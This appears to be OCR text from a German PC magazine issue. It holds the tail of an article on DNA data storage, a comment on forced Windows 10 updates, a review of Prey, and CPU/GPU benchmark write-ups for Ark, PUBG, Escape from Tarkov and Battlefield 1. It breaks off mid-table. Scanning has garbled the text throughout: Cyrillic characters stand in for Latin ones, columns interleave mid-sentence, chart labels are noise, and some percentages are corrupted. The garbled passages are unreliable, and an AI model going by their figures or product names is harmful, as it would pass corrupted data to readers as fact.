deutig zu viel, um gegenwärtig mit 
traditionellen Speichermedien zu 


Wie liest man eigentlich heutzutage DNA aus? 


Seit den 70ern wird DNA ausgelesen. Allgemein bekannt als DNA-Sequenzierung, war es vor 40 Jahren noch 
kompliziert, zeitaufwendig und ungenau. Heutzutage können einzelne DNA-Moleküle zuhause analysiert werden. 


DNA- 
Doppelhelix 


k. 
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1. Das DNA-Molekül, das natürlich als Doppelhelix vorliegt, wird 
zunächst durch ein spezielles Protein in die beiden Einzelstränge 


geteilt. 


2. Einer der Einzelstränge wird nun durch die Pore geleitet. Dies 
passiert mit einem justierbaren Strom an lonen, der auch die 
Durchlaufgeschwindigkeit der DNA durch die Pore festlegt. 


3. Ein Potential entsteht durch den Fluss von lonen durch die 
Pore. Je nachdem, welche Base des DNA-Einzelstranges nun am 
Detektor іп der Pore vorbeizieht, wird dieser lonenfluss entspre- 
chend verändert. Dadurch entsteht für jede der vier Basen eine 
Potentialänderung, die elektronisch messbar ist. 


Heutzutage gibt es schon Anwendungen dieser Methode, die die 
Größe eines USB-Sticks aufweisen. 


Membrane 


konkurrieren. Die Forscher wiesen 
jedoch daraufhin, dass die einge- 
setzten Materialien für die DNA- 
Synthese viel zu hochwertig seien 
und hauptsächlich für fehleranfälli- 
ge biologische Systeme verwendet 
würden. Dank des robusten DNA- 
Fountain-Code würde hier die 
Möglichkeit bestehen, auf weniger 
qualitativ hochwertige Synthese- 
materialien zurückzugreifen und 
so die Preise pro Megabyte zu drü- 
cken. Ein anderer Ansatz, den die 
beiden Wissenschaftler vorstellten, 
um Kosten zu senken, wäre eine 
„Schnell & dreckig“-Methode. Hier 
können durch Anpassung der Syn- 
these-Zeit und des Materials Kosten 
eingespart werden, ohne Speicher- 
leistung oder Ausleseintegrität zu 
beschädigen. 


Schöne neue Speicherwelt? 
Werden wir bald in unseren Com- 
putern auf SSDs, Magnetfestplatten- 
laufwerke und Blu-rays verzichten 
können? Nein, definitiv nicht. Denn 
auch wenn das DNA-Molekül ver- 
mutlich schon seit vier Milliarden 
Jahren existiert und seitdem als Uni- 
versalspeicher des Lebens fungiert, 
ist eine praktikable Anwendung 
derzeit noch nicht möglich. Die Er- 
gebnisse der Forscher sind in erster 
Linie als Machbarkeitsstudie zu wer- 
ten, wie man die Speicherprobleme 
der nahen Zukunft lösen könnte. 
Daneben hat der DNA-Speicher ein 
grundlegendes Problem: die Zu- 
griffsgeschwindigkeit. Flash-Spei- 
cher triumphiert hier mit weniger 
als einer Millisekunde, aber auch 
normale Festplatten bewegen sich 
hier noch unter zehn Millisekunden 
- DNA hat dagegen Zugriffszeiten 
von mehreren Stunden. 


Der physikalische Speicher wächst 
zwar langsamer als das digitale 
Universum, aber ein Großteil der 
Daten ist nur flüchtig und bedarf 
deswegen auch keiner dauerhaften 
Speicherung: DNA wird als Daten- 
träger im privaten Bereich eher kei- 
ne Anwendung finden. Ideal wäre 
die Erbsubstanz aktuell für Staats- 
archive, Speicherservices oder 
One-Click-Hoster. Riesige Speicher- 
farmen wären dann Vergangenheit 
und das jährliche Umkopieren des 
Bestandes wäre hinfällig. Bei den 
künftigen Datenmengen und den 
damit verbundenen Kosten wird 
DNA als Speicher kommen - nur 
nicht heute oder morgen. (ab) 
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Kommentar 


Das Windows-10-Zwangsupdate ist eine 
denkbar schlechte Idee. 


Mit Windows 10 stellt Microsoft Anwender nicht 
mehr vor eine Wahl — Updates landen früher 
oder später auf dem Massenspeicher. Das ist 
bei offiziell Win10-tauglichen Tablets mit be- 
grenztem, 16 GByte kleinem Flash-Speicher 
ein großes Problem. Hier genügt der Restspei- 
cherplatz nicht mehr, um die Update-Prozedur 
durchzuführen und bei jedem Herunterfahren 
des Tablets dauert: ewig, bis es mit einer Feh- 
lermeldung abbricht. Abhilfe schaffen Vorausla- 
den des Updates auf einen USB-Stick und eine 
SD-Karte. Doch die nächste Falle lauert beim fest 
eingebauten Akku: Der wird mit der Zeit nicht 
besser und hält bei mir daheim schon jetzt keine 
ganze Update-Prozedur mehr durch — dank der 
vielen Mini-Dateien, deren Verschieben über USB 
nicht besonders flott ist. Blöd nur: Es gibt ledig- 
lich einen Mini-USB-Anschluss am Tablet, sodass 
es nicht geladen oder am Netz betrieben werden 
kann. Hier muss Microsoft nachbessern: Entwe- 
der im Kompatibilitätsprüfer sagen „Is nich", 
unterbrechbare Update-Prozeduren einführen 
oder am besten dem Nutzer die Wahl lassen, was 
er installieren will und was nicht. 
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* Quelle: Saturn, Top 20 vom 20.05.2017 


Das , neue" Prey ist kein Ego-Shooter, sondern ein 
Action-Adventure mit wenig Parallelen zur 2006er- 
Version. Ist der Titel trotzdem eine , fette Beute"? 


ie technische Basis von Prey ist die CryEn- 
Di und bereits mit Mittelklasse-Hardware 
(siehe Testkasten) ist ein ruckelfreies Spielver- 
gnügen möglich. Optisch läuft der Spielemotor 
aber nicht zur Höchstform auf, dennoch ist die 
Atmosphäre herrlich und leicht gruselig, als wir 
mit unserem wahlweise weiblichen oder männ- 
lichen Protagonisten Morgan Yu durch seltsame 
Labore und klinische Korridore der Raumstation 
Talos 1 schleichen. Dabei faszinieren die gro- 
ßen, miteinander verbundenen Levels, in die 
der Spieler wieder zurückkehren kann. Dadurch 
existieren meist mehrere Wege zum Missionsziel 
und unterschiedliche Routen durch die Prey- 
Spielwelt. Im Verlauf des Action-Adventures wer- 
den Ihnen viele Entscheidungen abverlangt, die 
letztendlich zusammen mit ihren Taten im Spiel- 
verlauf eine große Rolle spielen - das garantiert 
einen hohen Wiederspielwert. Die Handlung, 
die dabei gesponnen wird, setzt zwar auch auf 
bekannte Elemente, hält Sie aber dennoch bis zu- 
letzt (Spielzeit: 20 bis 40 Stunden) bei der Stan- 
ge, obwohl es ein wenig an Höhepunkten fehlt. 


Prey besitzt vier Schwierigkeitsgrade, die sich 
jederzeit wechseln lassen. Aber selbst auf „Ein- 
fach“ und „Normal“ schwankt die Balance teil- 
weise stark. Auch bei der Waffenauswahl haben 
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Bethesda 
Prey 


Нагйшаге 


sich Arkanes Designer nicht mit Ruhm bekle- 
ckert, obwohl die GLOO-Kanone ein echtes 
Highlight ist. Was gefällt, sind die soliden, vor al- 
lem aber motivierenden Crafting- und Upgrade- 
Mechaniken, das detailverliebte und nichtlineare 
Leveldesign sowie das Skill-System, das es dem 
Protagonisten Morgan Yu erlaubt, die Fahigkei- 
ten von Mimics und anderen Typhon-Aliens zu 
klauen. Im Gegenzug gibt es auch einige Kritik- 
punkte. Die Kämpfe werden dank der stark be- 
grenzten Waffenauswahl und des mageren Tref- 
fer-Feedbacks schnell langweilig und auch die 
akustische Begleitung beim Gefecht nervt nach 
einer Weile. Das Hacking-Minispiel ist ebenfalls 
missraten und die Tatsache, dass man im Spiel- 
verlauf für neue Belohnungen bei Haupt- und 
Nebenquests in Gebiete zurückkehrt, in denen 
die zuvor erledigten Gegner wieder auftauchen 
(Backtracking), frustriert ab und an. (fs) 


FAZIT: Prey ist kein übermäßig guter Shooter, aber ein span- 
nendes, umfangreiches und forderndes Sci-Fi-Survival-Abenteu- 
er. Es fehlen erinnerungswürdige Szenen und bei den Kämpfen 
erlaubt sich Arkane ein paar Patzer. Im Gegenzug lebt der Titel 
von seiner mysteriösen Atmosphäre und der mitreißenden Story. 


Genre: Action-Adventure | Web: https://prey.bethesda. 
net/de | Technik: Cry Engine mit moderaten Hardware- 
Anforderungen | Empfohlener PC: Core i5-7400/AMD R5 
1400, GTX 1060 (6 GiB)/RX 480 (8 GiB), 8 Gigabyte RAM 
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Ark: Survival Evolved (Early Access) 


as Survival-Sandbox-Abenteu- 
р: Ark: Survival Evolved Бе- 
findet sich auch knapp zwei Jahre 
nach der ersten Veröffentlichung 
der Vorabversion noch immer in 
der Early-Access-Phase. Das Spiel 
basiert wie recht viele Indie-Titel 
auf der Unreal Engine 4 und mach- 
te insbesondere zum Release am 
2. Juni 2015 mit extrem heftigen 
Systemanforderungen auf sich auf- 
merksam. 


Dies hat sich ein wenig gebessert, 
auch die Grafik wurde etwas aufge- 
möbelt. Ark: Survival Evolved wirkt 
technisch nun etwas runder, auch 
wenn die Performance noch immer 
ein bemerkenswerter Faktor ist: 
Das Spiel làuft zwar generell etwas 
flüssiger, doch sind maximale De- 
tails in Full HD auf gängiger Hard- 
ware kaum genießbar. Selbst die in 
unserem Test verwendete, extrem 
schnelle Zotac GTX 1080 Ti AMP! 
Extreme müht sich bei Verwen- 
dung des Ultra-Presets mit Framera- 
ten um 35 Fps ab, hóhere Auflósun- 
gen sind völlig illusorisch. Kaum 
jemand dürfte so spielen wollen, 
weshalb wir uns dazu entschlossen 
haben, die Voreinstellung „hoch“ 
zu verwenden. Allerdings nutzen 
wir abseits der Messungen in 720p 
die volle Auflösung, regulär wird 
bei den hohen Voreinstellungen 
Upscaling aktiv. 


Um die maximale CPU-Leistung 
möglichst isoliert zu betrachten, 
verringern wir für die Messungen 
in 1.280 x 720 die interne Auflö- 


sung mittels Auflösungsskalierung 
auf das Minimum. So offenbart 
sich auch ein grundlegendes Pro- 
blem bei der Performance in Ark: 
Survival Evolved: Die Prozessoraus- 
lastung ist verbesserungswürdig. 
Der Intel Core i5 wird auf allen 
Kernen zu 60 bis 70 Prozent ausge- 
lastet, der Ryzen-Sechskerner zeigt 
nur auf dem ersten und sechsten 
Kern hohe Auslastung von rund 70 
bis 80 Prozent, die restlichen Th- 
reads drehen mit 10 bis 20 Prozent 
Auslastung Däumchen. Offenbar 
liegt neben einer ausbaufähigen 
Mehrkernausnutzung zudem ein 
Overhead-Problem vor, welches 
die bessere Ressourcen-Auslastung 
unserer Testsysteme torpediert. 
Konsequent limitieren beide CPUs 
schon recht früh, der Core i5 hat 
allerdings leichte Vorteile. Dabei 
ist allerdings zu beachten, dass der 
rund 215 Euro günstige AMD Hexa- 
core nur mit 3,4 GHz Allcore-Tur- 
bo taktet, der für rund 230 Euro 
erhältliche Intel Quadcore rechnet 
mit 4,0 GHz. Beide CPUs laufen in- 
des noch nicht am Limit, sondern 
ließen sich mit einiger Gewissheit 
jeweils um weitere 500 MHz über- 
takten. 


Mit einer GTX 1060 oder RX 480 
relativiert sich der Performance- 
Vorsprung des Intel-Prozessors ab 
1080p außerdem fast vollständig, 
einzig die erst ab 1440p langsam 
ans Limit kommende GTX 1080 Ti 
zieht noch spürbare Vorteile der 
höheren Grundperformance des 
Intel Core i5-7600K. 


Frametimes Ryzen 5 1600 vs Core i5-7600K 


„Hoch”, TAA - PCGH-Benchmark „Primordial Fortress" 
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Zeit in Sekunden 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Rank); Ryzen 5 
1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Rank); Zotac GTX 1080 Ti AMP! 
Extreme!/11G (-1.974 MHz); Geforce 382.33 WHQL, Windows 10 x64 


Performance mit AMD Ryzen 5 1600 


Performance mit Intel i5-7600K 


Benchmark „Primordial Fortress", 1.280 x 720, Preset , Hoch", Min-Res. 


Zotac GTX 1080 Ti AMP! Extreme/11G u N 58,2 (Basis) 
XFX RX 480 GTR Black Ed./8G. sg eu 57,8 (-196) 
Zotac GTX 1060 AMP/6G [EX 57,5 (-196) 
Benchmark „Primordial Fortress", 1.920 x 1.080, Preset , Hoch", Full-Res. 


Zotac GTX 1080 Ti АМР! Extreme/11G at 58 (Basis) 
Zotac GTX 1060 AMP/6G sg! ЕШ 41,9 (-28%) 
ХЕХ RX 480 GTR Black Ed./8G Esq 36,6 (-37%) 
Benchmark „Primordial Fortress", 2.560 x 1.440, Preset „Hoch”, Full-Res. 
Zotac GTX 1080 Ti AMP! Extreme/11G Ea: ps 54,8 (Basis) 
Zotac GTX 1060 AMP/6G ui 27,1 (-51%) 
ХЕХ RX 480 GTR Black Ed./8G ag! 24,7 (-55%) 


Benchmark „Primordial Fortress", 1.280 x 720, Preset , Hoch", Min-Res. 


Zotac GTX 1080 Ti AMP! Extreme/11G “65: 73,2 (Basis) 
Zotac GTX 1060 AMP/6G es 73,1 (-096) 
ХЕХ RX 480 GTR Black Ed./8G waw 69,4 (-5%) 
Benchmark „Primordial Fortress", 1.920 х 1.080, Preset , Hoch", Full-Res. 


Zotac GTX 1080 Ti АМР! Extreme/11G БЫ ШЕШ 71,5 (Basis) 
Zotac GTX 1060 AMP/6G. agi 43,1 (-40%) 
ХЕХ RX 480 СТА Black Ed./8G san 36,8 (-49%) 
Benchmark „Primordial Fortress", 2.560 x 1.440, Preset Hoch", Full-Res. 
Zotac GTX 1080 Ti AMP! Extreme/11G Euer 63,8 (Basis) 
Zotac GTX 1060 AMP/6G si 27,4 (-57%) 
ХЕХ RX 480 GTR Black Ed./8G [X41 25,4 (-60%) 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual 
Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM 
(Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 


Mimil @ Fps 


» Besser 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual 
Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM 
(Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 


Mimil 2 Fps 


» Besser 
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Playerunknown's Battlegrounds (Early Access) 


Frametimes Ryzen 5 1600 vs Core i5-7600K 


„Ultra”-Preset, TAA - PCGH-Benchmark „Yasnaya Polyana" 
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Zeit in Sekunden 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Rank); Ryzen 5 
1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDRA-2400 RAM (Dual Rank); Zotac GTX 1080 Ti AMP! 
Extreme!/11G (-1.974 MHz); Geforce 382.33 WHQL, Windows 10 x64 


it Playerunknown's Battle- 
Misa ist Entwickler Blue- 
hole Studios ein kleiner Überra- 
schungshit gelungen. Der seit dem 
23. März im Rahmen eines Early- 
Access-Programms spielbare Mehr- 
spieler-Titel basiert wie Ark: Survi- 
val Evolved auf der Unreal Engine 4 
und lässt bei der Leistungsanalyse 
in einigen Aspekten Gemeinsam- 
keiten erkennen. 


Optisch ist Playerunknown's Batt- 
legrounds noch etwas unrund, 
viele Objekte, Texturen und Ef- 
fekte wirken noch unfertig, sind 
von niedriger Qualität oder augen- 
scheinlich noch Platzhalter. Trotz- 
dem kann die recht schmucklose, 
dreckig-graue Optik gefallen, sie 
passt zu dem trist-atmosphärischen 
Sowiet-Setting der aktuell spielba- 
ren Karte. Dazu kommt eine hohe 
Weitsicht, eine dichte Vegetation 
und einige schicke Effekte wie dy- 
namische Partikel, eine hübsche 
volumetrische Beleuchtung und 
(zum Ghosting neigende) Screen- 
Space-Reflections. 


Die Performance ist noch etwas 
unrund und offenbart wie in Ark: 
Survival Evolved Probleme bei der 
Ressourcen-Nutzung: Wie bei dem 
Survival-Abenteuer zeigt der Core 
i5 auf allen vier Kernen eine gleich- 
màfšige und relativ hohe Auslas- 
tung, die indes nicht deutlich über 
75 Prozent hinausgeht. Beim Ryzen 
5 1600 wird analog zu Ark nur der 
erste und der sechste Kern ordent- 
lich belastet, die restlichen Rechen- 


werke liegen beinahe vollstándig 
brach. Eventuell benótigt die Un- 
real Engine 4 weitergehende Op- 
timierungen durch die Entwickler 
und skaliert nicht Out-of-the-Box 
mit zusätzlichen Prozessor-Kernen. 
Gegenüber Ark: Survival Evol- 
ved fällt 
Playerunknown's Battlegrounds 
indes etwas überzeugender aus. 
Auch hier ist der Intel-Prozessor im 
Vorteil, wobei sich der rund 20-pro- 
zentige Vorsprung des Quad- 
cores beinahe 1:1 mit dem knapp 


die Performance in 


18-prozentigen Taktvorsprung des 
i5 gegenüber dem Ryzen 5 1600 
deckt. Gegenüber Ark, das auf der 
AMD-CPU etwas häufiger zu Ruck- 
lern neigt, sind die Frametimes 
des AMD Hexacores indes sogar 
minimal besser, was beim Spielen 
allerdings kaum ins Gewicht fällt. 
Generell zeigt der Ryzen-Sechsker- 
ner eine sehr gute Performance, 
insbesondere, wenn wir die Leis- 
tung ab Full HD ins Visier nehmen. 
Die Nvidia-GPUs schneiden noch- 
mals analog zu Ark etwas besser ab, 
was allerdings nicht auf die CPU- 
Performance zurückfällt, was beim 
Betrachten der Ergebnisse von 
GTX 1060 und RX 480 in Full HD 
und WQHD offenkundig wird. Die 
Unreal Engine 4 nutzt wohl einige 
grafiklastige Techniken, mit denen 
die Geforce-GPUs besser zurecht- 
kommen. Die Benchmarkwerte 
der GTX 1080 Ti werden indes bis 
einschließlich 1440p von der Pro- 
zessorleistung unserer Testsysteme 
bestimmt. 


Performance mit AMD Ryzen 5 1600 


Performance mit Intel i5-7600K 


Benchmark „Yasnaya Polyana”, 1.280 x 720, Preset „Ultra”, Min-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G EX 58 (Basis) 
Zotac GTX 1060 AMP/6G 5 58 (0%) 
ХЕХ RX 480 СТА Black Ed./8G MEM 57,5 (-1%) 
Benchmark „Yasnaya Polyana”, 1.920 x 1.080, Preset „Ultra”, Full-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G u 58 (Basis) 
Zotac GTX 1060 AMP/6G Egi ШЕШ 56,2 (-3%) 
ХЕХ RX 480 GTR Black Ed./8G ars 47,3 (-18%) 
Benchmark „Yasnaya Polyana", 2.560 x 1.440, Preset , Ultra", Full-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G u m 56,8 (Basis) 
Zotac GTX 1060 AMP/6G que 39,3 (-31%) 
ХЕХ RX 480 GTR Black Ed./8G. Egi 33,3 (-41%) 


Benchmark „Yasnaya Polyana", 1.280 x 720, Preset Ultra", Min-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G uu 69.6 (Basis) 
Zotac GTX 1060 AMP/6G. El 69,5 (-0%) 
ХЕХ RX 480 GTR Black Ed./BG wi ШЕШШ 69,3 (-096) 
Benchmark „Yasnaya Polyana", 1.920 x 1.080, Preset , Ultra", Full-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G sl 69,1 (Basis) 
Zotac GTX 1060 AMP/6G js 60,6 (-12%) 
ХЕХ RX 480 GTR Black Ed./8G. [gat c 49,2 (-29%) 
Benchmark „Yasnaya Polyana", 2.560 х 1.440, Preset , Ultra", Full-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G | x 68 (Basis) 
Zotac GTX 1060 AMP/6G qu 39,6 (-42%) 
ХЕХ RX 480 GTR Black Ed./8G agi 33,7 (-50%) 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual 
Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM 
(Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 


Mimil 2 Fps 


> Besser 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual 
Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM 
(Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 


Minz 2 Fps 


» Besser 
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Escape from Tarkov (Early Access) 


ei Escape from Tarkov han- 

delt es sich um das dritte und 
jüngste Early-Access-Spiel in die- 
sem Test. Das spannend klingende 
Spielkonzept, der Fokus auf knall- 
harte, vergleichsweise realistische 
Action sowie die interessante 
optische Umsetzung lassen sich 
schon in der aktuell noch sehr frü- 
hen Alpha-Version ausmachen. Die 
auf der Unity-Engine basierende 
Technik wirkt jedoch noch sehr 
unfertig. Zwar kann der Titel mit 
einigen durchaus schicken Umge- 
bungen und Effekten gefallen und 
die Beleuchtung und der dynami- 
sche Tag-und-Nacht-Wechsel sind 
hübsch, doch hat der Grafikmotor 
definitiv noch einigen Feinschliff 
nötig. Das betrifft insbesondere die 
CPU-Performance, die momentan 
noch für ein sehr unausgegorenes 
Spielgefühl sorgt: Während unse- 
ren Evaluationen mit der GTX 1080 
Ti fluktuierten die Bildraten in 
niedrigen Auflösungen zwischen 
30 und 300 Fps, was sich extrem 
unrund anfühlt. Höhere Auflösun- 
gen revidieren das Problem etwas, 
doch ist das Spielgefühl nie wirk- 
lich flüssig. Beachten Sie die bergi- 
gen Frametime-Messungen und die 
Minimum-Fps im Vergleich zu den 
durchschnittlichen Bildraten, um 
eine Idee von der noch recht un- 
runden Performance zu erhalten. 


Das sind indes nicht die einzigen 
Auffälligkeiten der Technik: Eine 
weitere Merkwürdigkeit offenbart 
sich beim Betrachten der Speicher- 
belegung: Der Videospeicher un- 


serer Grafikkarten wird in Full HD 
nur mit Knapp über einem GiBy- 
te (Nvidia) und knapp darunter 
(AMD) belegt, der 16 GiByte fas- 
sende Hauptspeicher unserer Test- 
systeme wird indes bis zum Bers- 
ten gefüllt und läuft während des 
Spielens gar hin und wieder über, 
Daten müssen auf die SSD ausgela- 
gert werden. In diesem Fall gibt es 
einen mehrsekündigen Slowdown, 
die Fps brechen kurzfristig gar auf 
einstellige Werte ein. 


Eine weitere Seltsamkeit tritt bei 
unseren Messungen mit der AMD- 
GPU auf: Während unserer Bench- 
marks durchqueren wir zuerst eine 
schick ausgeleuchtete Fabrikhalle 
- hier brechen die Bildraten mit 
sämtlichen Konfigurationen stark 
ein, offenbar aufgrund einer Over- 
head-Problematik. Darauf betreten 
wir einen schmalen Gang, hier 
erreichen die GPUs extrem hohe 
Bildraten. Allerdings brechen bei 
der RX 480 die Frametimes extrem 
stark und regelmäßig aus, es tritt 
massives Mikroruckeln auf. Offen- 
bar wird an dieser Stelle ein Effekt 
genutzt (eventuell die volumetri- 
sche Beleuchtung), der in Kombi- 
nation mit der AMD-Grafikkarte 
für Probleme sorgt. Die unrunde 
Performance sorgt selbst in 720p 
noch dafür, dass die GTX 1080 Ti 
sich weit von den anderen Grafik- 
karten absetzen kann. Trotzdem 
ist die Leistung zu weiten Teilen 
CPU-limitiert. Der Ryzen 5 1600 
profitiert eher nicht von seinen zu- 
sätzlichen Kernen. 


Frametimes Ryzen 5 1600 vs Core i5-7600K 


Max. Detail, kein SSAA, PCGH-Benchmark „Factory Escape” 
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System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Rank); Ryzen 5 
1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Rank); Zotac GTX 1080 Ti AMP! 
Extreme!/11G (-1.974 MHz); Geforce 382.33 WHQL, Windows 10 x64 


Performance mit AMD Ryzen 5 1600 


Performance mit Intel i5-7600K 


Benchmark , Factory Escape", 1.280 x 720, max. Detail, kein SSAA 
Zotac GTX 1080 Ti AMP! Extreme/11G EX G 125 (Basis) 
Zotac GTX 1060 AMP/6G agi o 86,7 (-31%) 

ХЕХ RX 480 СТА Black Ed./8G ET E 77,3 (-38%) 
Benchmark , Factory Escape", 1.920 x 1.080, max. Detail, kein SSAA 
Zotac GTX 1080 Ti AMP! Extreme/11G Eg E 102,2 (Basis) 

Zotac GTX 1060 AMP/6G [agi p 60,7 (-41%) 
ХЕХ RX 480 GTR Black Ed./8G EB 46 (-55%) 
Benchmark , Factory Escape", 2.560 x 1.440, max. Detail, kein SSAA 
Zotac GTX 1080 Ti AMP! Extreme/11G EX p 80,8 (Basis) 
Zotac GTX 1060 AMP/6G [gin 42,5 (-47%) 
ХЕХ RX 480 GTR Black Ed./8G ВЕ 2618 30,2 (-63%) 


Benchmark „Factory Escape", 1.280 x 720, max. Detail, kein SSAA 
Zotac GTX 1080 Ti AMP! Extreme/11G. ss UU 152,2 (Basis) 
Zotac GTX 1060 AMP/6G sg pow 96,2 (-37%) 

ХЕХ RX 480 GTR Black Ed./8G [egi 85,6 (-44%) 
Benchmark „Factory Escape", 1.920 x 1.080, max. Detail, kein SSAA 
Zotac GTX 1080 Ti AMP! Extreme/11G s; 115,2 (Basis) 

Zotac GTX 1060 AMP/6G sg 63,1 (-45%) 
ХЕХ RX 480 GTR Black Ed./8G EB 45,8 (-60%) 
Benchmark „Factory Escape", 2.560 x 1.440, max. Detail, kein SSAA 
Zotac GTX 1080 Ti AMP! Extreme/11G XXe ШЕШШ 90,9 (Basis) 
Zotac GTX 1060 AMP/6G EBEN 42,6 (-53%) 
XFX RX 480 СТА Black Ed./8G äer 30,2 (-67%) 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual 
Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM 
(Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 


Mimil @ Fps 


» Besser 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual 
Rank); Ryzen 5 1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM 
(Dual Rank); Geforce 382.33 WHQL, Radeon Software 17.5.2, Windows 10 x64 


Mimil @ Fps 


» Besser 
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Battlefield 1 


Frametimes Ryzen 5 1600 vs Core i5-7600K 


„Ultra”-Preset, TAA - PCGH-Benchmark , Amiens" 
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Frametimes in Millisekunden 


Zeit in Sekunden 


System: Core i5-7600K @ 4,0 (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Rank); Ryzen 5 
1600 @ 3,4 GHz (fixed Allcore-Turbo), 2 x 8 GiByte DDR4-2400 RAM (Dual Rank); Zotac GTX 1080 Ti AMP! 
Extreme!/11G (-1.974 MHz); Geforce 382.33 WHQL, Windows 10 x64 


is hierhin ging es um die 

Performance in Early-Access- 
Titeln - da es aber nicht wirklich 
aufschlussreich wäre, die Leistung 
unserer Testsysteme nur anhand 
unfertiger Software zu beurteilen, 
werfen wir doch noch einen Blick 
auf drei weitere beliebte Multiplay- 
er-Titel. Diese sind nicht nur bereits 
fertig gestellt, sondern dies schon 
seit geraumer Zeit, konnten reifen, 
weisen darüber hinaus eine sehr 
gute Performance auf und kónnen 
aufserdem von mehr als vier phy- 
sischen Rechenwerken einer CPU 
profitieren. Zudem zeigen die drei 
folgenden Titel das hohe Leistungs- 
potenzial unserer Testsysteme auf: 
Eine stabile Performance um 60 
Fps ist auch mit GTX 1060 oder 
RX 480 und noch in WQHD keine 
Hexerei. Den Anfang macht das auf 
der Frostbite-Engine basierende 
Battlefield 1, welches im Mehrspie- 
lermodus merkliche Vorteile durch 
eine starke CPU ausspielen kann. 


Dieser Umstand wird beim Be- 
trachten der Messungen in 720p 
inklusive nochmals um 75 Prozent 
reduzierter Auflösungsskalierung 
offenbar: Der Intel Core i5 7600K 
kann sich bei Verwendung der GTX 
1080 Ti trotz deutlichem Taktvor- 
teil von rund 18 Prozent nur knapp 
7 Prozent vor dem Ryzen-Sechsker- 
ner platzieren. Es erscheint sehr 
wahrscheinlich, dass der AMD-Pro- 
zessor bei gleichen Taktraten den 
Intel Vierkerner überholen würde 
- wobei dieser natürlich ebenfalls 
noch einige Taktreserven durch 


Overclocking mobilisieren könnte. 
Beim Spielen ist kaum ein Unter- 
schied zwischen den jeweiligen 
Systemen zu bemerken, Gleiches 
gilt für die Performance der GTX 
1060 oder RX 480, die in DICE’ 
Shooter eine prinzipiell ebenbür- 
tige Leistung liefern. Und ab der 
praxisnahen Auflösung von 1.920 x 
1.080 Pixeln werden die Bildraten 
in Battlefield 1 zu weiten Teilen 
von den beiden flotten Mittelklas- 
se-GPUs bestimmt. Die extrem 
potente GTX 1080 Ti wird indes 
selbst in hohen Auflösungen bis 
einschließlich 2.560 x 1.440 noch 
teilweise von der CPU ausgebremst 
und könnte von einem schnelleren 
Prozessor profitieren. 


Die dicke Geforce kann indes 
bereits Vorteile durch die zusätz- 
lichen Kerne der Ryzen-CPU ver- 
zeichnen, trotz minimal niedrige- 
ren Bildraten sind die Frametimes 
mit AMDs Sechskerner etwas sau- 
berer als mit Intels Quadcore. Sehr 
sensible Spieler könnten diesen 
Umstand sogar bemerken: Bewe- 
gungen sowie die Mauseingabe ge- 
hen mit dem Ryzen 5 1600 flüssiger 
und gleichmäßiger von der Hand. 
Allerdings halten sich diese Vorzü- 
ge noch stark in Grenzen, der Core 
i5-7600K liefert ein ähnlich sau- 
beres Spielgefühl. Die gute Mehr- 
kernausnutzung von Battlefield 1 
lässt auf weitere, zukünftige Spiele 
mit ähnlich guten Multithreading- 
Kapazitäten hoffen. Und wir sind ja 
auch noch nicht am Ende unserer 
Tests angelangt. 


Performance mit AMD Ryzen 5 1600 


Performance mit Intel i5-7600K 


Benchmark „Amiens“, 1.280 х 720, Preset , Ultra", Min-Res 


Zotac GTX 1080 Ti AMP! Extreme/11G EX 118,6 (Basis) 
Zotac GTX 1060 AMP/6G. og [9 117 (-1%) 
ХЕХ RX 480 СТА Black Ed./8G gg" 95,5 (-19%) 
Benchmark , Amiens", 1.920 x 1.080, Preset Ultra", Full-Res 


Zotac GTX 1080 Ti АМР! Extreme/11G u a 119,8 (Basis) 
ХЕХ RX 480 СТА Black Ed./8G stt 77,4 (-35%) 
Zotac GTX 1060 AMP/6G. mE 75,8 (-37%) 
Benchmark , Amiens", 2.560 x 1.440, Preset Ultra", Full-Res 
Zotac GTX 1080 Ti AMP! Extreme/11G EX T 114,3 (Basis) 
